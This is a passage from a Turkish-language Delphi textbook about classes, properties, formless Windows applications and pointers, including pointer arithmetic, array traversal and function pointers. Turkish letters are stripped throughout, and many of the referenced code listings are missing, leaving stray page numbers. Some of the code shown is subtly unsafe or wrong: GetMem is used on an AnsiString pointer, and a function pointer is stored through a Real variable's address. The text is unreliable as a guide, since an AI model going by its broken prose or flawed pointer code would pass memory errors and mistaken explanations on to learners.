Delphide Class Uygulamalar: Cden gelme bir davran olan class ilemleri, grsel diller asndan bir r yaratmtr. Class uygulamalar dil iin en verimli alma ortamn sunmaktadr. nk bir ok yerde kullanlacak olan nesneler tek bir yerde tanmlanp dier uygulamalar tarafndan arlabilme zellii gstermektedir. Uygulamalarnz iin sizde benzer olan zellikleri tek bir at altnda toplayp (ayn kodlar tekrar tekrar yazmamak iin), dier nesnelerinizi oluturmu olduunuz bu yapdan tretmek ok uygun bir hareket olacaktr. Class ilemleri programclar tarafndan anlalmas en zor konu olma zelliini tamaktadr. Fakat anlalmasnn zorunlu olduunu dnyorum (Her ne kadar Delphi bu hususta size yardmc oluyorsa da, byk uygulamalarda muhakkak gelitirmek zorunda kalacaksnz). Projenize ekleyeceiniz bir Unit ierisinde nasl Class oluturabileceiniz hususu u anki konumuzu oluturmaktadr. ok teknik bir konu olduu kesin ve bir ounuzun ilgisini ekmeyebilir. Class oluturabilmeniz iin, ncelikle projenize aadaki admlar izleyerek bir Unit (Formu olmayan) ekleyin. File->New->Unit admlarn setikten sonra karnza Class ekleyebileceiniz aadaki Unit penceresi alacaktr.

Adm Adm Class Oluturmak: Burada gstereceim admlarla kolayca class oluturma ileminin nasl gerekleebildiini reneceksiniz. Oluturacamz class Unit inizin ismini (uses satrna) eklediiniz tm Formlardan (veya dier nesnelerden) 205

arabileceinizi belirtmek isterim. imdi dier admlara geerek daha detayl aklamalarda bulunalm. Unit pencerenizdeki kod satrlarna aadaki eklentiyi yapn. Interface satrnn hemen altna class yazp Ctrl+j tularna beraberce basarsanz, aadaki aklama penceresi Unit inize eklenecektir.

Oluturacanz class a ait yapy bu seenekten bir tanesini seerek belirleyebilirsiniz. Biz imdilik classc yi mous ile seip enter tuuna bastk. Unit pencereniz aadaki hali alacaktr.

206

Yukarda oluturduumuz yapy aadaki hale dntrp ierisine kod satrlarn eklemeye balayalm.

Yukarda yaptmz deitirme ileminin sonunda Gazi isminde (baka hi bir zellii olmayan) bir class tanmlam olduk. Buradan sonra yapacaklarmz ise bu class a ait deiken, fonksiyon, prosedr ve zellikleri tanmlamak olacaktr. ncelikle u ana kadar yaptmz ilemin sonucunu grmek iin Unit1 yaprana gein ve uses satrna Unit2 yi ekleyin

207

Unit1 penceresine Unit2 yi ekledikten sonra formunuza bir adet button kontrol yerletirerek OnClick yordamnda Ga harflerine bastktan sonra Ctrl+Space tularna beraberce basn. Aadaki gibi ierisinde Unit2 de tanmlam olduunuz Gazi isimli class n yer ald aklama penceresi alacaktr.

Aklama penceresinde seilebilecek olan nesneye ait tip zellikleri de gsterilmektedir. Class erisinde Tanmlanan Deikene Erimek: Yukarda oluturmu olduumuz (Unit2ierisinde) classa bir deiken ekleyerek formumuzdan (Unit1den) bu deikenin deerini kullanalm. Aadaki gibi Gazi isimli class n Public ksmna Rektor isimli deikeni ekleyiniz.

208

imdi eklemi olduumuz bu deikene formdan nasl eriebileceimizi grelim.

Gazi isimli snftan tretmi olduumuz yeni isimli deiken sayesinde bu deikene kolayca ulalabilmektedir. Basit bir rnekle olay pekitirelim. Formunuzun zerine birer adet Edit ve Button kontrol yerletirin.

imdi de aadaki kodlar Button kontrolnn OnClick yordamna ekleyiniz.

209

Class esisinde Tanmlanan Fonksiyona Erimek: Aada Gazi class nn yesi olan ve not ortalamasn hesaplayan bir fonksiyon tanmlamas yaplmaktadr. Adm adm inceleyiniz (Buradaki tm kodlar class nz oluturduunuz Unit2 ye yazlacak). Birinci admda fonksiyonunuzun ismini public ksmnda tanmlayn. public Rektor:AnsiString;//public dardan eriilebilir. Function notortalamasi(vize:Integer;final:Integer):Real; //Fonksiyon tanmla end; kinci admda imle fonksiyonun tanmland satrda iken Ctrl+Shift+C tularna tklayarak notortalamasi isimli fonksiyona ait kod blounu yaratnz. function Gazi.notortalamasi(vize, final: Integer): Real; begin //Fonksiyona ait kodlar buraya yazlacak. end; nc admda aadaki kodlar fonksiyon blounuzun ierisine yaznz.

210

imdi eklemi olduunuz bu fonksiyona formunuzdan nasl eriebileceinizi gstereceim. Dikkatlice inceleyiniz.

Artk Gazi class ierisinde tanmlanm olan notortalamasi isimli fonksiyonu formumuzdan arabilen bir rnek yapalm. rneimizde bu fonksiyon kullanlarak vize ve final notlarnn ortalamas hesaplanmaktadr (%30-%70). Aadaki tasarm oluturunuz.

Edit1 e gireceiniz deeri vize notu, Edit2 ye gireceiniz deeri de final notu olarak Gazi isimli class ta tanmlanm olan iki parametreli notortalamasi isimli fonksiyona gndereceiz. Fonksiyonun hesaplam olduu deeri de kullancya gstermek amal formun balnda yazdracaz. Aadaki kodlarn tamamn class nzn ierisinde tanmlanm olduu Unit2 penceresine ekleyiniz.

211

imdi de buradaki fonksiyonu programdan aracak olan kodlar ekleyelim. Aadaki kodlar formunuza ait Unit (Unit1) penceresine ekleyin.

Program altrdktan sonra vize notu ile final notunu gsterilen Edit kutularna giriniz. Arkasndan button kontrolne tklayarak vize ve final notu ortalamasnn (vize notunun %30 u ile final notunun %70 i) formun banda yazlmasn salaynz.

212

Proje ierisinde iki adet daha deiken tanmlamak zorunda kaldnz. Aslnda class nz aadaki ekle getirerek, deikenlerinizi class nzda tanmlayp projeden arrsanz ok daha teknik bir zm gerekletirmi olursunuz.

Tanmlanan fonksiyonu formunuzdan aadaki ekilde arnz.

nceki koda nazaran ok daha temiz bir kodun olduu kesindir. nk program ierisinde yeniden deiken tanmlamak zorunda kalmyorsunuz (Bir ok yerde ayn ilemi yapmanz gerektiini dnn). Ayrca kodlar daha da anlalr hale gelmitir.

213

Class ierisinde oluturulmu Olan Prosedre Erimek: imdiki konumuz, Gazi class ierisinde oluturacamz prosedrler sayesinde rencinin snfn geip gemediine dair mesajlar kullancya iletmek olacaktr. Bu amala Gazi class ierisinde iki adet prosedr yaratacaz. Birinci prosedr, ortalama notunun 50 den byk olmas durumunda snfn getiini belirten gmesaj, ikinci prosedr ise ortalamann 50 nin altnda olmas durumunda snfta kaldn iletecek olan kmesaj prosedrleridir. Ortalamann hesaplanaca deikeni de class ierisinde tanmlarsak sanyorum daha gzel bir kodlama yapm olacaz. Unit2 niz ierisinde bulunan Gazi isimli class a ait kodlar aadaki ekilde deitiriniz.

Class ta yaplan deiikleri izah edecek olursak, ncelikle public ksmnda iki adet prosedr tanmland. Ardndan Ctrl+Shift+C tular beraberce

214

kullanlarak, prosedr bloklar oluturulup gerekli kodlar girildi. Son olarakta ShowMessage methodunun alabilmesi iin uses satrna Dialogs ktphanesi eklenmitir. imdi class ta yapm olduumuz deiikliin etkisini grebilmek amacyla formunuza dnp treteceiniz yeni isimli deikeninizle bu prosedrlere nasl ulaabileceinizi grn.

Yukardaki pencere class ierisinde tanmlanm olan prosedrlere nasl eriebileceinizi gstermektedir. Sonucu grmek iin formunuzdaki kodlar aadaki ekilde deitiriniz.

215

Program altrp Edit kutularna vize ve final notlarn aadaki ekilde girerseniz kmesaj isimli prosedrn iletilmesini salarsnz.

Eer notlar aadaki gibi snfn geecek ekilde deitirirseniz, bu durumda da aadaki gibi gmesaj fonksiyonunu iletmi olacaksnz.

Oluturmu olduunuz zm tamamen doru olmakla beraber, acaba daha gzeli oluturulabilir miydi? Kodlamaya dikkat ettiyseniz formunuzda ortalama isimli bir deiken daha tanmlamak zorunda kaldk. Peki bu deikeni de Gazi class ierisinde tanmlayamaz mydk? Tabii ki tanmlardk. Hem bu durumda kodunuz ok daha teknik olurdu. kinci bir kodlama yaparak class mz deitireceiz. Yapacamz kodlamada ortalama isimli deikeni Gazi class nn private ksmnda tanmlayacaz. Neden private derseniz, bu deikenin deerini notortalamasi fonksiyonu ierisinde class n kendi deikenleriyle hesaplatacaz da ondan. (Yani formdan bu deikene deer gndermeyeceiz) Peki public tanmlansayd sonu deiir miydi? Hemen yantlayalm deimezdi. Fakat deer gnderemeyeceiniz bir deikeni . tuuna bastktan sonra alacak olan pencerede grmek sanyorum pek hounuza gitmeyecektir (Sakn unutmayn private da yapacanz tanmlamalara sadece o unit ierisinden ulaabilirsiniz).

216

Gazi classna ait kodunuzu aadaki ekilde deitiriniz.

Formunuza ait kodu da aadaki ekilde deitiriniz.

217

Evet grdnz gibi programcy hi zorlamadan, tanmlamalar class n ierisinde yaptktan sonra herey ok kolay bir ekilde gerekleebilmektedir. Kod satrlarnzda oluacak olan karmaadan da ayn zamanda kurtulmu olacaksnz. Class lara zellik Eklenmesi: Tanmlam olduunuz class lara aada izah edeceim yntemlerle kolaylkla properties (zellik) ekleyebilirsiniz. Class a ait zellikleri Property bildirisiyle yapmaktayz. Ayrca belirleyeceiniz zelliin deeri nerden alaca, atanan deeri nerede gstereceini belirlemek zere de iki adet (Read-Write) ek declareye ihtiya duymaktadr. Bunlardan birincisi fonksiyon gibi geriye deer dndrebilmekte, ikincisi ise atanan deerin gsterilecei yeri belirlemek amal prosedr eklinde olmaktadr. Bir class a zellik aadaki ekilde ekletilebilir. property isim:Tip Read f_adi write p_adi; //Forma properties ekleniyor. Aadaki pencerede etiket isimli bir zellik formun public ksmna eklenmitir.

zellii public ksmna ekledikten sonra imle bu satrda iken Ctrl+Shift+C tularna beraberce basn. Yukarda bahsettiimiz gibi oku isminde bir adet Fonksiyon, yaz isminde de bir adet prosedr otomatik olarak oluturacaktr (Bu methodlara ait tanmlamalar da formun private ksmnda oluturmu olmas gerekmektedir.)

218

Otomatik olarak eklenen methodlardan sonra Unit pencerenize ait grnt aadaki ekilde oluacaktr.

Bu ksmda artk gerekli olan kodlar yazmak tamamen programcnn iidir. imdiden hatrtalatalm, bu tip ilemlerde, fonksiyon ve prosedrn ikisinin de kullanabilecei global bir deikenin tanmlanmas (zorunlu deildir) her zaman iinize yarayacaktr. Bu yzden, bizde ilk i olarak deger isminde bu Unit iin kullanlabilecek olan global bir deiken tanmladk.

219

kinci olarak fonksiyonun kodunu oluturacaz. Aada oku isimli fonksiyon blouna ekleyeceiniz kodlar verilmitir. function TForm1.oku: AnsiString; var sonuc:AnsiString; begin sonuc:=deger;//global deikenin deeri aktarlyor. Result:=deger; end; Ayn mantkla aadaki ekilde prosedr ierisindeki kod satrlarn oluturunuz. Bu prosedrn ismini neden yaz olduunu sanyorum sylememize gerek yoktur (Tanmlam olduumuz property nin Write ksmnda declare edilmitir). procedure TForm1.yaz(const Value: AnsiString); begin deger:=value;//Atanacak deer hep Value dur. end; Fonksiyonun yapm olduu i, prosedrde atanacak olan deerden sonra yaplacak olan hesaplamay gerekletirmesidir. Prosedr de ise, sonucu belirleyecek deikenin deerine her zaman Value deeri aktarlacaktr. Value deikeni prosedrn ierisinde Delphi tarafndan otomatik olarak tanmlanmtr. Bu admlar gerekletirdikten sonra herhangi bir yordamda etiket yazp Ctrl+Space tularna basarsanz zellik alan pencerede gzkecektir.

220

Aada etiket isminde bir zellik forma eklenmi olup, bu deere atanan AnsiString deer objenin balnda (Baka yerlerde belirleyebilirsiniz.) yazdrlmaktadr. Atama ileminde nce Button1 e tklayarak etiket isimli zellie deer atamalsnz (EMRAH YANAR). Ardndan Button2 kontrolne tklayp etikete aktarlm olan deeri formunuzun balnda yazdrabilirsiniz.

Bu husus biraz kark gelebilir. Belki de bir ounuz beni bu konular u an iin ilgilendirmiyor diyebilirsiniz, fakat iyi bir Delphi programcs olmak istiyorsanz bu tip zmlere her zaman kafa yormak zorundasnz. Biz grevimizi yapalm, gerisi size kalm.

221

Form Kullanmayan Windows Uygulamalar Gelitirmek: Bu konuyu anlatmak iin en uygun blmn buras olduunu dndm. Baz uygulamalarda ierisinde form olmayan, kullancnn grmesini istemediiniz projeler gelitirmek isteyebilirsiniz. Bu size hz (hem de kimse farknda olmasn) kazandracak, daha performansl bir alma yrtebileceksiniz. Ayn zamanda kimsede farknzda olmayacak. imdi bu tr projeleri nasl gelitirebileceinizi adm adm izah edeceim. Yeni bir Delphi Uygulamas balatn. Project->Remove from Project pencerenin almasn salayn. admlarn izleyerek aadaki

Alan bu pencerede Unit1 i seip (Ayn zamanda form1 de seilecektir) OK buttonuna tklayn. (Gelen uyarya yes deyin) Unit1 ve Form1 iniz projeden silinecektir. File->New->Unit admlarn izleyerek ierisinde form barndrmayan bir Uniti projenize dahil edin. Gerekli olan tm kodlar bu Unit penceresine yazacaz. View->Units admlarn izleyerek View Unit penceresinin almasn salayn. Bu pencerede projenizin ve az nce eklemi olduunuz yeni Unit inizin ismi listelenmi olmaldr. Siz projenizi seerek OK Buttonuna tklayn. Projenize ait tm kodlar yeni oluan project2 (sizin projenizin ismi dolaysyla oluacak olan yapran ismi farkl olabilir) yapranda gzkyor olmaldr. Proje yapranzda bulunan kodlarn tamamn silerek aadaki ekilde verilen yeni kodlar ekleyiniz.

222

imdi de Unit inize ait olan tm kodu silerek aadaki gibi deitiriniz.

Artk uygulamanz altrabilirsiniz. Program altrdnz zaman yazm olduumuz kodlar gerei sadece basit bir mesaj iletisi gsterecektir. Siz ok daha karmak kodlar belirleyip kullanabilirsiniz. 223

224

BLM 10 ARETLER & KATARLAR

225

226

Delphide Pointer Deikenlerin Yeri: Pointer deikenler, bellekte bulunan deerin adresini barndrrlar. Yani bir iareti (pointer) deiken herhengi bir deeri deilde deerin bulunduu adresi tutmaktadr (stenirse bu adresteki deer de pointer deikeniyle ifade edilebilir). Bu durum iaretilerle yaplan hesaplamalarn ok daha hzl olmasn salamaktadr. Konuyu anlamanz iin daha geni izahat bir rnekle vermeye alalm. Daire satn almaya karar verdiniz, pazarlklar yaptnz, sra paray deme ksmna geldi. Burada izleyeceiniz iki yol var, birincisi paranz bankadan ekip mal sahibine getirip vermek (paray ister istemez defalarca saymak zorunda kalacaksnz) veya mal sahibinin banka hesabna kendi banka hesabnzdan paray karmak (bu sefer paray hi saymayacaksnz) olacaktr. kinci alternatifin olay pointer deikenle zme yntemi olduunu dnebilirsiniz. Yapacanz alveriin ok daha hzl olaca kesindir. C++ dilinin en etkin zelliklerinden biri olan pointer deikenleri Delphide en az C++ kadar etkili bir ekilde kullanabilmektedir. Fonksiyonlardan dnen birden fazla deeri gstermek iinde C++ da pointer deikenlerden faydalanlr. Delphide bunu dolayl olarak kullanabilmektedir. Dosyalarn bellekteki yerleri pointer deikenlerce tutulabilmektedir. Bu da performansl bir ileyi salayacaktr. areti Bildirimi: Delphide iareti bildirimi, deikenin tanmland tipin bana ^ iareti konularak gerekletirilir. rneklendirecek olursak bir iaretinin varl programa aadaki ekilde bildirilir. var deger:^Integer; metin:^AnsiString;

//tam say tipli pointer //String tipli pointer

Bu mantkla pointer deikenleri istediiniz tipte (veya nesneden treterek) kolayca tanmlayabilirsiniz. Tanmlanan bir pointer deikene normal bir deikenmi gibi davranp aadaki ekilde deer atamas kesinlikle yaplamaz. deger:=100; //Pointer deikene bu ekilde deer atanamaz Pointer lar genellikle baka deikenlerin (fonksiyon veya herhangi bir class ta olabilir) adres deerleriyle ilem yaptrmak iin tanmlanrlar. Bu yzden tanmlanan bir pointer deikene dier deikenin adresinin nasl referans edilebileceini gstermek istiyorum. 227

aretilere Adres Gstermek: Aada gsterimi yapld ekilde, pointer deikenlere dier deikenlerin adresleri referans gsterilebilir. procedure TForm1.Button1Click(Sender: TObject); const sayi:Integer=888; var deger:^Integer; //tam say tipli pointer metin:^AnsiString;//String tipli pointer begin deger:=@sayi; //sayi isimli deikenin adresi referans gsteriliyor. end; Yukarda gsterildii ekilde; bir pointer baka bir deikenin adresini nne @ karakteri konularak referans gsterebilir. Referans gsterme ilemi yapldktan sonra pointer deikene yeni deerler atanabilir. aretilere Deer Atamak: aretilere deer atanabilmesi iin tanmlanm olmas yeterli deildir. Atamann yaplabilmesi iin ya bellekte bo bir yerin ayrlmas (C++ new veya malloc) ya da baka bir deikenin adresinin referans gsterilmesi gerekmektedir. Aadaki ekilde adres referans yapldktan sonra pointer deikene kolaylkla deer atanabilir. procedure TForm1.Button1Click(Sender: TObject); var deger:^Integer; //tam say tipli pointer metin:^AnsiString;//String tipli pointer sayi:Integer; begin sayi:=888; //Deikene deer atanyor. deger:=@sayi; //Adres referans gsteriliyor. deger^:=1000;//Yeni deer atanyor end; Yukardaki aklamadan da anlalaca gibi pointer deikene deer atanrken isminin sana ^ iareti konulmas gerekmektedir.

228

Pointer deikene adres gsterimi yapldktan sonra, adresi gsterilen deikenin deeri ile pointer deikeninin adresinde barndraca deer ayn olacaktr. Aada bu husus rneklendirilmitir. procedure TForm1.Button1Click(Sender: TObject); var deger:^Integer; //tam say tipli pointer sayi:Integer; begin sayi:=888; //Deikene deer atanyor. deger:=@sayi; //Adres referans gsteriliyor. deger^:=1000;//Yeni deer atanyor Form1.Caption:=IntToStr(deger^); //Pointer yazdrlyor. 1000 yazar end; rnei aadaki ekilde deitirirseniz yine ayn sonucun yazldn greceksiniz. procedure TForm1.Button2Click(Sender: TObject); var deger:^Integer; //tam say tipli pointer sayi:Integer; begin sayi:=888; //Deikene deer atanyor. deger:=@sayi; //Adres referans gsteriliyor. deger^:=1000;//Yeni deer atanyor Form1.Caption:=IntToStr(sayi); // Yine 1000 yazacaktr. end; Bu tr uygulamalarda pointer deikenin adresindeki deeri deitirmekle, adresi referans gsterilen deikenin deerini deitirmek sizi ayn sonuca ulatracaktr. Ayn rnei string tipli deikenler iinde kullanabilirsiniz. procedure TForm1.Button3Click(Sender: TObject); var metin:^AnsiString;//String tipli pointer str:AnsiString; begin str:='nsal Soygr'; //Deikene deer atanyor. metin:=@str; //Adres referans gsteriliyor. metin^:='Prof.Dr.Hsn Can';//Yeni deer atanyor Form1.Caption:=str; // Prof.Dr.Hsn Can yazar end; 229

Pointer deeriyle ilgili ilemlerde dikkat edeceiniz iki hususa tekrar deinelim. Birincisi (adres referans yaplm olmas gerekmektedir) pointer adresindeki deeri deitirmek iin deikenin sana ^ iareti (metin^) koyarak atama yapmalsnz. kincisi ise pointer in adresindeki deeri hesaplamalarda kullanmak iin yine sana ^ karakterini koymanz gerekmektedir. Aadaki ekilde de areti deikenlere ilk deer atamasn yapabilirsiniz. areti tanmland anda atanacak deerin yazlaca yer (referansta henz gsterilmedii iin) belli olmad iin herhangi bir deer atanmas durumunda alma zaman hata verecektir. ayet adresi gsterilecek bir deiken tanmlamak istemiyorsanz, o zaman GetMem (C++ da new) methoduyla bu iaretiye bellekte bo bir yer ayrmalsnz. Bu ilemi yaptktan sonra iaretiniz atayacanz deeri kolayca kullanabilecektir. Aadaki iki rnei dikkatlice inceleyiniz. procedure TForm1.Button2Click(Sender: TObject); var metin:^AnsiString; begin metin^:='Yksel nan'; Form1.Caption:=metin^;//deeri yazaca yer belli deil hata verir end; Yukardaki program altrrsanz, aadaki gibi bir pencere ile kullancy uyaracaktr.

Hatann sebebi hepinizin de fark ettii gibi deikene atanan deerin yazlaca yerin belli olmamasndan kaynaklanmaktadr. Bu eksiklii kullanlan GetMem fonksiyonu sayesinde aabilmekteyiz. Getmem(metin,25) satr, metin isimli iaretiye bellekte 25 karakterlik bo yer ayracaktr. Ayrlan bu yer deikene, deerini yazabilecei bir yer salad iin artk uygulama hata vermeyecektir.

230

imdi kodu aadaki ekilde deitirip uygulamanz tekrar altrn. procedure TForm1.Button2Click(Sender: TObject); var metin:^AnsiString; begin GetMem(metin,25);//Bellekte 25 karakterlik yer ayrld metin^:='Nihat Demirli'; Form1.Caption:=metin^; //Nihat Demirli yazar end; aretileri Aritmetik lemlerde Kullanmak: Pointer deikenlerle bir ok durumda aritmetik ilemler yapmak zorunda kalacaksnz. Matematiksel hesaplamalar da dikkat edilecek bir ka husus bulunmakta olup, imdi bu hususlar deerlendireceim. Aadaki rneklerin herbirini ok dikkatlice inceleyiniz. procedure TForm1.Button4Click(Sender: TObject); var sayi:Integer; deger:^Integer;//Pointer deiken begin sayi:=7779; deger:=@sayi;//Adres gsterme ilemi tamamland inc(deger^); //Adresteki Deeri 1 artr Form1.Caption:=IntToStr(sayi); // 7780 yazar end; Ayn rnein aadaki ekilde zmne dikkat ediniz. procedure TForm1.Button5Click(Sender: TObject); var sayi:Integer; deger:^Integer;//Pointer deiken begin sayi:=7779; deger:=@sayi;//Adres gsterme ilemi tamamland inc(deger); //Adresi artr Form1.Caption:=IntToStr(sayi);// 7779 yazar end;

231

ki rnek arasndaki fark, birincisinde pointer deikenin adresindeki deer deitirilmekte (Bir artrlyor), sonu olarak deikenin deerinin de deimesine sebebiyet vermektedir. kinci rnekte ise pointerin adresi (adresteki deeri deil) bir artrlmakta bu da bulunduu gzn ileriye doru kaymas, yani baka bir gzn referans gsterilmesi anlamn tamaktadr. Sonu olarak ilk deikenle pointer in gsterecekleri deer artk ayn olmayacaktr. procedure TForm1.Button5Click(Sender: TObject); var sayi:Integer; deger:^Integer;//Pointer deiken begin sayi:=7779; deger:=@sayi;//Adres gsterme ilemi tamamland inc(deger); //Adresi artr Form1.Caption:=IntToStr(deger^);//Sama bir deer yazar end; rnekte kullanlan inc(deger) kod satr, deger isimli pointer deikenin, Integer (pointer Integer tanmland iin) say tipinin bellekte tuttuu yer kadar ileriye kaymasna, dolaysyla buradaki yeni gzde bulunan deeri gstermesine sebep olacaktr. procedure TForm1.Button6Click(Sender: TObject); var sayi:Integer; deger:^Integer;//Pointer deiken begin sayi:=7779; deger:=@sayi;//Adres gsterme ilemi tamamland sayi:=deger^+10; //Yeni deer ata Form1.Caption:=IntToStr(deger^); //7789 yazar end; Yukardaki rnekte pointer deikenin adresinde bulunan deere 10 eklenerek yeni deer belirlenmekte olup, sonu balk satrnda yazdrlmaktadr. Kullanc Tanml Tip Deikeni Olarak Pointer Kullanmak: Tanmlayacanz pointer deikeni kullanc tanml pointer tip olarak yaratp, deikeninizi bu tipten tretebilirsiniz. Yapm olduunuz ilem direkt pointer deiken tanmlamaktan hite farkl deildir. Aada kullanc tanml pointer tip deikeni nasl tanmlayabileceiniz gsterilmektedir. 232

Type sayilar=^Integer; //Kullanc tanml pointer tip Tanmladnz kullanc tipli pointer deikenden aadaki ekilde yeni bir pointer oluturabilirsiniz. Type sayilar=^Integer; //Kullanc tanml pointer tip procedure TForm1.Button7Click(Sender: TObject); var deger:sayilar; //Pointer deiken yaratlyor. sayi:Integer; begin sayi:=999; deger:=@sayi; deger^:=sayi+100; //adresteki deri 100 artr Form1.Caption:=IntToStr(sayi); 1099 yazar end; aretilerin Dizi Deikenlerle Beraber Kullanlmas: Pointer deikenlerin dizi deikenler ile beraber kullanlmas ok etkin bir kullanm ve performans salamaktadr. Bir pointer deiken dizi deikenlerin adreslerini de referans gsterebilir. Ayn ekilde referans gsterilen gzdeki deeri rahatlkla kullanabilir. Aada bu husus detayl olarak rneklendirilmitir. const sehir:Array[0..2] of AnsiString=('Ankara','stanbul','zmir');//dizi deiken var deger:^AnsiString; //pointer deiken begin deger:=@sehir; //Dizi deikeni referans gster Bu ekilde yaplan bir adres gsterimi sonras deger isimli pointer deiken dizinin ilk elemannn bellekteki adresini gsterecektir. Dilerseniz buradaki deere de kolayca ulaabilirsiniz. deger:=@sehir; //ilk eleman gster deger:=@sehir[0]; //ikiside ayn ii yapar 233

Yukardaki iki satra dikkat edecek olursanz, ikisinin de ayn ilemi yaptna, yani dizi deikenin ilk elemannn adresini gsterdiine dikkatinizi ekmek istiyorum. Aada verilen pointer deiken rneklerini dikkatlice inceleyiniz. procedure TForm1.Button8Click(Sender: TObject); const sehir:Array[0..2] of AnsiString=('Ankara','stanbul','zmir');// elemanl dizi var deger:^AnsiString; begin deger:=@sehir; //Dizi deikeni referans gster Form1.Caption:=deger^; //ilk eleman yazar yani Ankara end; Aadaki kod satrlaryla da ayn sonuca ulaabilirsiniz. procedure TForm1.Button9Click(Sender: TObject); const sehir:Array[0..2] of AnsiString=('Ankara','stanbul','zmir'); var deger:^AnsiString; begin deger:=@sehir[0]; //Dizi deikenin ilk elemann referans gster Form1.Caption:=deger^; //ilk eleman yazar yani Ankara end; ayet pointer dizi deikenin ikinci veya nc elemannn adresinin gsterilmesi istenirse, kodunuzu aadaki ekilde deitirmelisiniz.. procedure TForm1.Button9Click(Sender: TObject); const sehir:Array[0..2] of AnsiString=('Ankara','stanbul','zmir'); var deger:^AnsiString; begin deger:=@sehir[2]; //dizinin nc elemann referans gster Form1.Caption:=deger^; //zmir Yazar end;

234

Bu ekilde tanmlayacanz pointer bir deikenle dizi elemanlarnn tamamn dolaabilirsiniz. Yaplan uygulamadan daha hzl bir ilemin olamayacan belirtmek isterim. areti le Dizi Elemanlar Arasnda Dolamak: Tanmlayacanz pointer bir deikenle dizi elemanlar arasnda kolaylkla dolaabilirsiniz. Dizi elemanlar arasndaki geii inc() veya dec() methoduyla yapabilirsiniz. Tanmlam olduunuz pointer deikene inc() methodunu uygularsanz; deikeninizin deeri artmaz, bir sonraki elemann deerini gsterir. Ayn ekilde dec() methodunu uygularsanz bu seferde bir nceki elemann adresini gsterecektir. Bunun sebebi dizi konularnn ilendii blmde de akland gibi diziler bellekte arka arkaya yerletirilirler. Bu yzden referans edilen elemandan bir sonraki adreste, dizinin bir sonraki eleman bulunacaktr. Aada bu husus rneklendirilmitir. var deger:^AnsiString; //pointer deiken tanmlanyor const sehir:Array[0..2] of AnsiString=('Ankara','stanbul','zmir'); //Dizi deiken tanmlanyor procedure TForm1.FormCreate(Sender: TObject); begin deger:=@sehir;//ilk eleman gster end; procedure TForm1.Button10Click(Sender: TObject); begin Form1.Caption:=deger^; //eleman yazdr inc(deger); //Bir sonraki elemana ge end; Kodlar ekledikten sonra program altrrsanz, buttona her tkladnzda bir sonraki elemann deerini yazdrabilirsiniz. Dizi elemanlar tamamlandktan sonra pointer deikeniniz rastgele (bir sonraki gzde bulunacak olan deer) karakterler gstermeye devam edecektir. Kafanz kartrmasn. imdi rneimizi biraz daha zorlatrp, aadaki zm sizlere sunalm. Uygulamamz iin formunuza bir adet Timer kontrol yerletirip aadaki kod satrlarn da gerekli olan yordamlara ekleyiniz. Program altrdktan sonra formunuzun balnda dizi elemanlarnn srasyla yazdrld bir grnt 235

elde edeceksiniz. Konulan kontrol sayesinde dizi elemanlar bittii zaman pointer deikenin tekrar ilk elemana dnmesi salanmtr. Programa ait tm kod satrlar aada verilmitir. Dizi deiken ve pointer (iareti) deikenin Unit1 iin global olarak tanmlandna dikkat ediniz.

Hatrlatmak istediim bir hususta Timer1Timer yordamnda kullanlan {$j+} bildirisi olacaktr (Daha nce prosedr ierisinde static deiken tanmlayabilmek iin kullanmtk). Const la tanmlanan bir deikenin deerini (bir nevi deikenin static mantyla almas) deitirebilmeniz iin bu bildiriyi muhakkak kullanmanz gerekmektedir. Aksi takdirde Delphi sabit deikeninizin deerini deitiremeyeceiniz uyarsn vererek, uygulamanz altrmayacaktr. Aada gerekletirilen uygulamada, Saysal Loto programnn pointer deiken kullanlarak zlm halini vereceim. rnekte kullanlan random fonksiyonu rastgele say retmek iin kullanlmtr. Pointer deiken kullanmna almanz balamnda gzel bir rnek olabileceini

236

dnyorum. Uygulamanz iin formunuzun zerine bir ListBox kontrol ile bir adet button yerletirip aadaki tasarm oluturunuz.

Programa ait tm kod blou aada verilmitir. Satrlar anlayarak yaznz.

237

areti Fonksiyon likisi: Pointer deikenlere fonksiyonlarn dnd deerin bulunduu adresi de referans gsterebilirsiniz. Sonuta bir fonksiyon tanmland zaman da program ona bellekte bir yer ayracaktr. Deerin tutulduu yer deiken adresi de olsa, fonksiyon adresi de olsa fark etmeyecektir. Pointer bir deikene fonksiyon adresi gstermek iin aadaki admlar izlemelisiniz. lk olarak aadaki fonksiyonu Unit pencerenizde oluturun. function hesapla(x, y: Integer): Real; begin Result:=(x+y)/2; //ortalamay bul end; Daha sonra bu tip fonksiyonlar gsterecek olan kullanc tanml tipinizi oluturmalsnz. type baglan=function (x:Integer;y:Integer):Real; //parametre says ve tipleri ayn Kullanc tanml tipi olutururken dikkat edeceiniz husus fonksiyonun ismini yazmayacaksnz, fakat ierisinde kulland parametre says ve tipleri ayn olacak. procedure TForm3.Button1Click(Sender: TObject); var F: ^baglan; //fonksiyonu gsteren pointer tanmlanyor. yaz:Real; sonuc:Real; begin f:=@yaz; //deikenin adresini al f^:=hesapla; //hangi fonksiyonun altrlacan buradaki isimden anlyor. sonuc:=F^(10,20); //Fonksiyonu parametreleriyle ilet Form3.Caption:=FloatToStr(sonuc);//sonucu yaz. end; ncelikle tanmladnz tipten pointer bir deiken yaratmalsnz. Ardndan yarattnz pointer deikene fonksiyonunuzun ismini aktarp, parametrelerini gndermelisiniz. Burada kullanlan ara deiken, deerin yazlaca adresi belirlemek balamnda oluturulmutur. Eer bu ara deikeni (yaz) 238

oluturmazsanz, hesaplamay yazaca yeri bilemeyecei iin program hata mesajyla sizleri uyaracaktr. imdi yapacamz bir programla olay pekitirelim. Aadaki gibi girilen saynn faktryelini hesaplayan bir fonksiyon oluturun.

Oluturmu olduunuz fonksiyonu, formunuzun zerine yerletireceiniz button kontrolnn OnClick yordamndan arn. Projenizi altrdktan sonra Edit1 kontrolne saysal bir deer girin. imdi buttona tklarsanz girdiiniz saynn faktryeli hesaplanarak, formunuzun balnda yazacaktr (Hatrlatalm faktryeli alnacak sayy ok byk girmeyin).

239

